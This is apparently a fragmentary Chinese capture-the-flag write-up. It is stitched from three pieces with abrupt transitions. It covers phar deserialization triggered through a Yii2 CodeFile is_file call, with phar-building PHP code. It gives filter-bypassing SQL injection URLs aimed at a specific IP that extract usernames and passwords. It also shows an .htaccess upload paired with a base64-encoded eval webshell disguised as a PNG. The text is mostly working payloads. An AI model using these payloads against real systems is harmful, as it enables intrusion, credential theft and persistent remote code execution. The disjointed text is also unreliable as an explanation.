| 原理分析
modulePath为我们的phar协议。new CodeFile这里会进入这个类的__construct方法,最终在is_file这里触发phar协议。可以看到这里的$path和我们传进去的phar:///tmp/phar.jpg相比多了/yii2-shanghe/composer.json。但是这里并不会影响我们触发/tmp/phar.jpg目录下的phar包。<?php
class TestObject {
}
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub,增加gif文件头
$phar ->addFromString('test.txt','test'); //添加要压缩的文件
$object = new TestObject();
$object -> data = 'hu3sky';
$phar -> setMetadata($object); //将自定义meta-data存入manifest
$phar -> stopBuffering();
?>
include('phar://phar.phar');可以看到正常输出了hu3sky。<?php
class TestObject{
function __destruct()
{
echo $this -> data; // TODO: Implement __destruct() method.
}
}
include('phar://phar.phar');
?>
include('phar://phar.phar/aaaaa/awd')一样是可以正常触发的。题目同理。view PATH为我们的phar协议。开启调试。发现我们的view path字段带进去了new codefile。并来到了is_file触发pharphar的终点都是在is_file函数。只要new CodeFile,把我们的phar协议带进去,最后就能走到is_file都能触发phar。这里的CRUD和From里面的view Path触发phar的道理是一样的id。通过bp fuzz 发现ban掉了and空格information_scheme等关键字mysql.innodb_index_stats替换information_scheme查看寻表名和数据库名查看用户http://39.106.154.208:29106/?id=3'/**/union/**/select/**/1,concat(0x7e,(select/**/username/**/from/**/users),0x7e),3/**/or/**/'3'='3
查看密码http://39.106.154.208:29106/?id=3'/**/union/**/select/**/1,concat(0x7e,(select/**/password/**/from/**/users),0x7e),3/**/or/**/'3'='3
Content-Disposition: form-data; name="file"; filename=".htaccess"
Content-Type: image/pngAddType application/x-httpd-php .txt
php_value auto_append_file "php://filter/convert.base64-decode/resource=1.txt"
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: image/pngPD9waHAgQGV2YWwoJF9QT1NUWydhZyddKTs/Pg==